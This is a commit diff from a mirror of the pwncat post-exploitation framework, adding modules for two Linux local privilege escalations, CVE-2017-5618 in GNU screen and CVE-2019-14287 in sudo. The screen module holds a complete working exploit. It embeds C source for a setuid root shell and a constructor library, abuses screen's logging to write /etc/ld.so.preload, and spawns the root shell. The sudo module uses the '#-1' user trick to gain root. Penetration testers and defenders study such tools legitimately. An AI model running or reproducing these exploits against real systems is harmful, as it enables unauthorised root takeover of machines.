1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Added CVE-2019-14287 and CVE-2017-5618 modules

This commit is contained in:
Caleb Stewart 2021-05-31 17:10:34 -04:00
parent 2212be9751
commit 87c4f6ee77
5 changed files with 258 additions and 9 deletions

View File

@ -3,12 +3,12 @@ import shlex
import functools
import subprocess
from io import TextIOWrapper
from typing import Any, IO, Callable
from typing import IO, Any, Callable
import pwncat.subprocess
from pwncat.db import Fact
from pwncat.gtfobins import Stream, Capability
from pwncat.platform.linux import LinuxReader, LinuxWriter
from pwncat.db import Fact
def build_gtfo_ability(
@ -200,7 +200,7 @@ class GTFOFileRead(FileReadAbility):
else:
description = ""
return f"file read as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user}"
return f"file read as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user} ([magenta]{self.source}[/magenta])"
class GTFOFileWrite(FileWriteAbility):
@ -279,7 +279,7 @@ class GTFOFileWrite(FileWriteAbility):
else:
description = ""
return f"file write as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user}"
return f"file write as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user} ([magenta]{self.source}[/magenta])"
class GTFOExecute(ExecuteAbility):
@ -351,4 +351,4 @@ class GTFOExecute(ExecuteAbility):
else:
description = ""
return f"shell as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user}"
return f"shell as [blue]{user.name}[/blue] via [cyan]{self.method.binary_path}[/cyan]{description} from {source_user} ([magenta]{self.source}[/magenta])"

View File

@ -79,13 +79,13 @@ class Module(EnumerateModule):
if perms & 0o4000:
# if this is executable
screen_paths.append(path)
screen_paths.append((path, perms))
# Clean up the search
proc.wait()
# Now, check each screen version to determine if it is vulnerable
for screen_path in screen_paths:
for screen_path, perms in screen_paths:
version_output = session.platform.Popen(
f"{screen_path} --version",
shell=True,

View File

@ -0,0 +1,173 @@
#!/usr/bin/env python3
import re
import textwrap
import subprocess
from io import StringIO
from pwncat.facts import ExecuteAbility
from pwncat.modules import ModuleFailed
from pwncat.platform import PlatformError
from pwncat.subprocess import CalledProcessError
from pwncat.platform.linux import Linux
from pwncat.modules.enumerate import Schedule, EnumerateModule
class CVE_2017_5618(ExecuteAbility):
""" Exploit CVE-2017-5618 """
def __init__(self, source: str, screen):
super().__init__(source=source, source_uid=None, uid=0)
self.screen = screen
def shell(self, session: "pwncat.manager.Session"):
""" Execute a shell """
# Write the rootshell source code
rootshell_source = textwrap.dedent(
f"""
#include <stdio.h>
#include <unistd.h>
int main(void){{
setreuid(0,0);
setregid(0,0);
const char* x[] = {{"/bin/sh","-p",NULL}};
execvp(x[0], x);
}}
"""
).lstrip()
with session.platform.tempfile(mode="w", directory="/tmp") as filp:
rootshell = filp.name
# Compile the rootshell binary
try:
rootshell = session.platform.compile(
[StringIO(rootshell_source)], output=rootshell
)
except PlatformError as exc:
raise ModuleFailed(f"compilation failed: {exc}") from exc
# Write the library
libhack_source = textwrap.dedent(
f"""
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){{
chown("{rootshell}", 0, 0);
chmod("{rootshell}", 04755);
unlink("/etc/ld.so.preload");
}}
"""
).lstrip()
# Compile libhack
try:
libhack_so = session.platform.compile(
[StringIO(libhack_source)],
cflags=["-fPIC", "-shared"],
ldflags=["-ldl"],
)
except PlatformError as exc:
session.platform.Path(rootshell).unlink()
raise ModuleFailed("compilation failed: {exc}") from exc
# Switch to /etc but save our previous directory so we can return to it
old_cwd = session.platform.chdir("/etc")
# Run screen with our library, saving the umask before changing it
start_umask = session.platform.umask()
session.platform.umask(0o000)
# Run screen, loading our library and causing our rootshell to be SUID
session.platform.run(
[
self.screen.path,
"-D",
"-m",
"-L",
"ld.so.preload",
"echo",
"-ne",
libhack_so,
],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
check=True,
)
# Trigger the exploit
try:
session.platform.run(
[self.screen.path, "-ls"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
check=True,
)
except CalledProcessError:
# This normally has a non-zero returncode
pass
# We no longer need the shared object
session.platform.Path(libhack_so).unlink()
# Reset umask to the saved value
session.platform.umask(start_umask)
# Hop back to the original directory
try:
session.platform.chdir(old_cwd)
except (FileNotFoundError, NotADirectoryError, PermissionError):
# Maybe we don't have permissions to go back?
pass
# Check if the file is owned by root
if session.platform.Path(rootshell).owner() != "root":
# Ensure the files are removed
session.platform.Path(rootshell).unlink()
raise ModuleFailed("failed to create root shell")
# Start the root shell!
proc = session.platform.Popen(
[rootshell],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
# Detach. This new shell becomes our primary shell
proc.detach()
if session.platform.refresh_uid() != 0:
session.platform.channel.send(b"exit\n")
raise ModuleFailed("failed to get root shell (is nosuid set on /tmp?)")
# Remove the rootshell
session.platform.Path(rootshell).unlink()
return lambda s: s.platform.channel.send(b"exit\n")
def title(self, session):
""" Grab the description for this fact """
return f"[cyan]{self.screen.path}[/cyan] vulnerable to [red]CVE-2017-5618[/red]"
class Module(EnumerateModule):
""" Identify systems vulnerable to CVE-2017-5618 """
PROVIDES = ["ability.execute"]
PLATFORM = [Linux]
SCHEDULE = Schedule.PER_USER
def enumerate(self, session: "pwncat.manager.Session"):
""" check for vulnerable screen versions """
for screen in session.run("enumerate", types=["software.screen.version"]):
if not screen.vulnerable or (screen.perms & 0o4000) == 0:
continue
yield CVE_2017_5618(self.name, screen)

View File

@ -0,0 +1,76 @@
#!/usr/bin/env python3
from packaging import version
from pwncat.facts import build_gtfo_ability
from pwncat.modules import ModuleFailed
from pwncat.gtfobins import Capability
from pwncat.platform.linux import Linux
from pwncat.modules.enumerate import Schedule, EnumerateModule
class Module(EnumerateModule):
"""Identify systems vulnerable to CVE-2019-14287: Sudo Bug
Allows Restricted Users to Run Commands as Root."""
PROVIDES = ["ability.execute", "ability.file.write", "ability.file.read"]
PLATFORM = [Linux]
SCHEDULE = Schedule.PER_USER
def enumerate(self, session: "pwncat.manager.Session"):
""" Check for vulnerability """
try:
# Utilize the version enumeration to grab sudo version
sudo_info = session.run("enumerate", types="software.sudo.version")[0]
except IndexError as exc:
raise ModuleFailed("no sudo version found") from exc
# This vulnerability was patched in 1.8.28
if version.parse(sudo_info.version) >= version.parse("1.8.28"):
return
# Grab the current user/group
current_user = session.current_user()
current_group = session.find_group(gid=current_user.gid)
# Iterate over all sudo rules
for rule in session.run("enumerate", types=["software.sudo.rule"]):
# We only care about command rules
if not rule.matched:
continue
# User doesn't match us and we don't specify a group in the rule
if (
rule.user != "ALL"
and rule.user != current_user.name
and rule.group is None
):
continue
# Ensure we match one of the groups
if rule.group is not None:
for group in session.iter_groups(members=[current_user.id]):
if rule.group == group.name:
break
else:
if rule.group != current_group.name:
continue
# Grab a list of user names which we can run as
userlist = [x.strip() for x in rule.runas_user.split(",")]
# This exploits a specific non-standard configuration
# with these two runas users listed.
if "ALL" in userlist and "!root" in userlist:
for command in rule.commands:
for method in session.platform.gtfo.iter_sudo(
command, caps=Capability.ALL
):
# Build a generic GTFO bins capability
yield build_gtfo_ability(
source=self.name,
uid=0,
method=method,
source_uid=current_user.id,
user="\\#-1",
spec=command,
)

View File

@ -145,7 +145,7 @@ class Path:
"""Returns the name of the group owning the file. KeyError is raised
if the file's GID isn't found in the system database."""
return self._target.session.find_group(id=self.stat().st_gid).name
return self._target.session.find_group(gid=self.stat().st_gid).name
def is_dir(self) -> bool:
"""Returns True if the path points to a directory (or a symbolic link
@ -278,7 +278,7 @@ class Path:
"""Return the name of the user owning the file. KeyError is raised if
the file's uid is not found in the System database"""
return self._target.session.find_user(id=self.stat().st_uid).name
return self._target.session.find_user(uid=self.stat().st_uid).name
def read_bytes(self) -> bytes:
"""Return the binary contents of the pointed-to file as a bytes object"""